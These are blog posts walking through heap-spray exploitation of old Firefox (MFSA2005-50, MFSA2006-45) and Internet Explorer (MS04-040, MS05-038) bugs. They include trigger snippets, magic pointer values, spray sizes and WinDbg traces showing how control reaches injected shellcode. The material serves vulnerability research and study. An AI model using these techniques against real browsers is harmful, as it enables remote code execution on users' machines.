Heap Spraying: Mozilla Firefox Navigator Object (mfsa2006-045)

Last week, Firefox team had been published the advisories about Firefox browser’s vulnerabities. The one of the most interested vulnerability is Navigator vulnerability (MFSA2006-45). H D Moore, one of the most genious researcher in vulnerability research area, said that it is trival to exploit it. To exploit this vulnerability, you need to install Java plugin to Firefox browser. The attack vector of this bug is:

window.navigator = (0x01020304 / 2);
java.lang.reflect.Runtime.newInstance(java.lang.Class.forName(“java.lang.Runtime”), 0);

When Firefox browses this page I got:

eax=023b7ed8 ebx=00000000 ecx=01020300 edx=00002c2c esi=80000000 edi=60083955
eip=6008397e esp=0012e9fc ebp=0012ea00 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206

js3250!JS_GetProperty+0x29:
6008397e 8b11 mov edx,[ecx] ds:0023:01020300=????????

Access violation when the browser try to read at address 0x01020300. Then I disassemble at 0x6008397e:

6008397e 8b11 mov edx,[ecx]
60083980 50 push eax
60083981 51 push ecx
60083982 8b5204 mov edx,[edx+0x4]
60083985 ff7508 push dword ptr [ebp+0x8]
60083988 ff5210 call dword ptr [edx+0x10]

Do you see anything ? Yes.. the instruction at address 0x60083988 ‘call dword ptr [edx + 0x10]’. Because you can control ecx (via navigator()’s parameter), so you can control edx. This leads to the code execution in 0x60083988.

Our plan seems perfect, but when I replace 0x01020304 with the magic number, 0x0d0d0d0d:

eax=020f5898 ebx=00000000 ecx=01a12048 edx=1a000000 esi=80000000 edi=60083955
eip=60083982 esp=0012e9f4 ebp=0012ea00 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202

js3250!JS_GetProperty+0x2d:
60083982 8b5204 mov edx,[edx+0x4] ds:0023:1a000004=????????

It crashes at the position near the old one, in the mannger that I can’t control edx easily. I start to find the valid one:

0x0d0d0d0d -> invalid
0x09080706 -> valid
0x0d080706 -> valid
0x0d0d0706 -> valid
0x0d0d0d06 -> valid

Umm I decide to use 0x0d0d0d06 as a ecx value because it’s a familiar one. I write the classical style heap spraying exploit and test it. Sure !! It works . This exploit is easy to implement as H D Moore said.

P.S. : Tested on Windows XP SP2 + Mozilla Firefox 1.5.0.2 + jre-1_5_0_06

Heap Spraying: Mozilla Firefox InstallVersion->compareto()

From the previous post, I had described how to use heap spraying technique to attack against Internet Explorer in serveral scenes. This doesn't means that we can't use heap spraying to attack other browsers. In July 2005, one of the exploit that use heap spraying attack Mozilla Firefox had been published. Aviv Raff, the exploit author, had written this exploit attach against the vulnerability MFSA2005-50 . At the first time, this vulnerability was ranked at the low level because the Mozilla team didn't think that it will be possible to execute the code via this vulnerability. Then, Aviv Raff who discover this vulnerability decide to write the exploit to show that it could be possible to execute the code in this bug. Good job Dude :)

MFSA2005-50 is trigger by visit the HTML page that embed javascript code like this:

…
location.href=”javascript:void(new InstallVersion());”
(new InstallVersion).compareTo(new Number(number));
…

when I use number = 0x00, Firefox crashes at 0x6004710a

mov ecx, [eax] ds:0023:00000000=????????

Where eax=0x00000000 and ecx=0x013b3808. Access violation occurs because Firefox try to read at the address 0x00000000. Then I decide to change number from 0x00 to 0x01 and test. Firefox crashes at the same position, but with the different condition

mov ecx, [eax] ds:0023:00000002=????????

Where eax=0x00000002 and ecx=0x013b3808. I change number again, from 0x01 to 0x11111111.

mov ecx, [eax] ds:0023:22222222=????????

Ah.. I think I see some pattern. Everytime I change number, the value of eax also change and eax’s value = number x 2. I confirm this by set number to 0x22222222 and the result show me that the value of eax = 0x44444444.

If I can made eax point the some memory area that I control it’s value, may be I can found something interest. I disassemble firefox code after 0x6004710a:

0:000> u 6004710a
xpinstal+0x710a:
6004710a mov ecx,[eax]
6004710c push dword ptr [ebp+0xc]
6004710f push eax
60047110 call dword ptr [ecx]
60047112 test eax,eax
60047114 jz xpinstal+0x70d6 (600470d6)
60047116 mov ecx,[ebp+0x10]
60047119 push 0x0

At address 0x60047110, there is a call instruction “call dword ptr [ecx]”. Because we can control ecx via eax, then we can control where we wanna to jump in this instruction – own the box lol.

Our strategy is very simple. We create 350 heap blocks with nop + shellcode. Our nop is this case is 0x0d. After we inject heap blocks in to memory, we trigger Firefox by call vulnerable code with number= 0x06868686. Because number = 0x06868686, eax will be set to 0x06868686 x 2 = 0x0d0d0d0c and the instruction at address 0x6004710a will become

mov ecx, [0x0d0d0d0c]

And because our 350 heap blocks fill the address 0x0dxxxxxxxx with 0x0d, then [x0d0d0d00c] = 0x0d0d0d0d and access violation will not occur because this memory area is become readable.

After ecx is set to 0x0d0d0d0d, the instruction at the address 0x60047110:

call dword ptr [ecx]

will equivalent to

call dword ptr [0x0d0d0d0d]

Because address 0x0d0d0d0d contains value 0x0d0d0d0d, then the instruction at address 0x60047110 will become:

call 0x0d0d0d0d

and Firefox will execute our payload because the address 0x0d0d0d0d is filled with our nop + shellcode.

If you have read the previous post, you will see that this exploitation environment is same as SkyLined’s Internet Exploiter. The magic number 0x0d0d0d0d is the important part of the exploit. It’s functions are nop payload and pointer to address in the memory. This will simplify the exploit because we just create a set of payload and inject it into memory. If you have seen Aviv Raff’s exploit, you will see that his exploit compose of three set of payload, first one is the value point by eax which will become ecx value, second one is the value point by ecx which will be called via the instruction “call dword ptr [ecx]”. The last one is nop + shellcode which will be placed at the address pointed by ecx.

P.S. : There is some difference between IE’s heap header and Firefox’s heap header. IE’s header size is 0x24 bytes while Firefox’s header size is 0x20 bytes. The last 4 bytes in IE’s header is the offset to the last 4 bytes in heap, Firefix has no this feature.

P.S. : tested on Windows XP home SP2 and Mozilla Firefox 1.0.4

Heap Spraying: MS05-038

While I browse through the exploit repository, I found the exploit written to attack against IE, MS05-038 Object Instantiation Memory Corruption Vulnerability. The reason why I interest this exploit is because it uses the heap spraying technique.

The attack vector occurs when IE tries to instantiate some COM objects as ActiveX Control. Then the COM objects corrupts the memory, some of it may lead to code execution. I start to craft HTML page like this

...object classid="CLSID:class-id"...

where class-id is the class identifier mentioned in MS05-038 Microsoft Security Bulletin. The exploit from FrSIRT (badly, they close public exploit repository because of the legal issue) uses the class-id 3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5 "blnmgr.dll". I start to browse the page with Windows XP Professional SP2 and IE 6.0


IE crashes at 0x0ff68508 and I repeat it several times to ensure that it crashes at the same address. The 0x0ff68508 address seem to be exploitable by using heap spraying technique. That's why they use this class-id in their exploit :) I think other class-id may be exploitable, but I found that others are more complex to exploit or non-exploitable.

I start exploit IE by using class-id 3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5. Yes, the address 0x0ff68508 is exploitable, but it is not reliable. There is the possibility that 0x0ff68508 will be out of range of our injected heap. In this example, I inject 400 heaps into memory and IE crashes instead of execute our payload. When I view heap blocks in memory, I found this:


Range of address seems cover 0x0ff68508 because IE has already allocated memory range 0x0fxxxxxx and go to above range address (0x1xxxxxxx). But when I calculate the range of the address of heap 0x0fee0000 - which one that 0x0ff68508 should be in, I found that 0x0fee0000 + 0x20 + 0x7ffd8 = 0x0ff5fff8 !? Our address, 0x0ff68508, is beyond this address, that's why IE crashes

I try again with the same number of heaps. At this time IE executes our payload. I view the virtual heap block and focus at 0x0ff50000. From the hex calculator 0x0ff50000 + 0x20 + 0x7ffd8 = 0x0ffcfff8, our address is in this range so our payload is executed.

Due to the unpredictable address of heap, the exploit is quite unreliable. I don't know whether the address 0x0ffxxxxx made the exploit unreliable or not. However, when I increase number of heap to 700, the possibility that 0x0ff68508 is falling outside our heaps is reduced so the exploit is more reliable eventhough it is not 100%.

Heap Spraying: Internet Exploiter

SkyLined's Internet Exploiter is the first public exploit that use heap spraying technique, may be :). It was written to exploit the vulnerability in Microsoft Internet Explorer - MS04-040. I interest this exploit because it is the original one in heap spraying.

I start learn his exploit by copy his HTML tag that trigger the overflow. This is the code:

iframe src="file://BBBBBBBBBB....." name="CCCCCCCCCC....."

IE crashs when I browse this page. Umm, it seems ok and SkyLined's document said that this should set eax to 0x0d0d0d0d. I attach IE to WinDbg and browse the malicious HTML page again.


IE crashs, but in the different manner. Eax is written by value 0x000d000d, not 0x0d0d0d0d, and eip stops at address 0x769f682f - the instruction:

mov eax, [eax + 0x34]

Reading at address 0x000d000d + 0x34 = 0x000d0041 causes the access violation, I try to figure out why eax is set to 0x000d000d. I append the end of buffer by 2 bytes of 0x0d but the result is still the same.

I'm stuck 2 hours about this issue. My HTML code and SkyLined's code are the same. Umm... may be there is something in his file format. I open Internet Exploiter with hex editor xvi32


Hey... this is not simple ASCII file. It starts with 2 bytes FFFE and every character use 16 bits - 2 bytes. In this case every character is followed by 0x00 byte. This file format looks like UTF-16 little endian. I try to confirm my assumption by create a Unicode file by Wordpad and open it with xvi32. The result shows me that they are same !! Ahhhh why I don't think that this file is not ASCII format - -". I had opened this file by Vi (Windows version) and it show me that file is unreadable.

I start create HTML file in UTF-16 format and exploit IE again. Ahhh, why the result's still the old one - eax is set to 0x000d000d ? I open Internet Exploiter by xvi32 again and locate the position the 0x0d bytes are in. I found that SkyLine's code 0x0d bytes are positioned like this:

..... 0x0d 0x0d 0x0d 0x0d .....

while my 0x0d bytes are arranged like this:

..... 0x0d 0x00 0x0d 0x00 0x0d 0x00 0x0d 0x00.....

Oh he embedded 4 0x0d bytes in 2 Unicode characters !! This is the important trick to control eax in his exploit. After solve the simple but tricky problem, I get this result from WinDbg:


Now eax is set to 0x0d0d0d0d and reading at address 0x0d0d0d0d + 0x34 = 0x0d0d0d41 causes access violation. I think you've already known the method to made the address 0x0d0d0d41 to be valid memory address. Yez, Heap Spraying :)

When I inject 400 heaps in to the memory, I found this:


Ah.. our payload is executed !!! How could it happen ? SkyLined said in his document that if we can control eax, then we can control ecx. Because the instruction

CALL NEAR DWORD PTR [ECX]

is called after we have set ecx to 0x0d0d0d0d, so the flow of execution will transfer to the address near 0x0d0d0d0d - our payload.

I start to follow the document by set breakpoint at 0x769f682f - the address that eax is set to 0x0d0d0d0d. When WinDbg break at 0x769f682f at the first time, eax is not set to 0x0d0d0d0d, so I press 'g'' until WinDbg break at 0x769f682f and eax is set to 0x0d0d0d0d (I think may be WinDbg has the feature to let we set the breakpoint condition, but I don't know the command - -"). When eax is set to 0x0d0d0d0d, ecx is set to 0x769c62ec. I continue run WinDbg step by step instruction until I found this:


Something is strange. After eax is set to 0x0d0d0d0d, it is set to other value in the instruction "pop eax" at address 0x769f6850. Ecx has never been set to 0x0d0d0d until our payload is executed. I think may be this instruction is the key:

call dword ptr [ecx + 0x14] {SHDOCVW!CIEFrameAuto::GetParentFrame (769f6d69)}

This instruction, at address 0x769f6d2b, is called and the flow of program transfers to our payload. May be WinDbg doesn't show details about this instruction, so I set another breakpoint at [ecx + 0x14] = 0x769f6d69 and view the result. Again, the flow of execution transfers to our payload without setting eax and ecx to 0x0d0d0d0d - -". I found that before the flow of execution transfers to our payload, there is a call instruction:

call SHDOCVW!CIEFrameAuto::_GetParentFramePrivate (769f6d95)

I repeat the same step and I found the following instructions:

call SHDOCVW!CIEFrameAuto::_GetOleObject (769f6e23)
call dword ptr [eax + 0x18] {SHDOCVW!CwebBrowserSB::GetOleObject (769f6d46)

In SHDOCVW!CwebBrowserSB::GetOleObject, I let the debugger run instruction by instruction, this is the result:

.....
eax=001c612c ecx=001c612c

769f6d4a mov eax, [eax + 0x1400]
eax=0d0d0d0d ecx=001c612c

769f6d50 test eax, eax
eax=0d0d0d0d ecx=001c612c

769f6d52 je SHDOCVW!CwebBrowserSB::GetOleObject + 0xe (76a07b8b)
eax=0d0d0d0d ecx=001c612c

769f6d58 push dword ptr[esp + 0x8]
eax=0d0d0d0d ecx=001c612c

769f6d5c mov ecx, [eax]
eax=0d0d0d0d ecx=0d0d0d0d

769f6d5e push 0x769c6598
eax=0d0d0d0d ecx=0d0d0d0d

769f6d63 push eax
eax=0d0d0d0d ecx=0d0d0d0d

769f6d64 call dword ptr [ecx]
.....

Eax is set to 0x0d0d0d0d at the instruction address 0x769f6d4a (mov eax, [eax + 0x1400]). Ecx is set to 0x0d0d0d0d at the instruction address 0x769f6d5c (mov ecx, [eax]). Because ecx is set to 0x0d0d0d0d, the instruction address 0x769f6d64:

call dword ptr [ecx]

is equivalent to

call dword ptr [0x0d0d0d0d]

And because address 0x0d0d0d0d contains value 0x0d0d0d0d, then

call dword ptr [0x0d0d0d0d]

is same as

call 0x0d0d0d0d


At address 0x0d0d0d0d, our shellcode is there. When the instruction "call dword ptr [ecx]" is launched, we win the game :)

P.S. - Tested onWindows XP Professional Service Pack 0 and Internet Explorer 6.0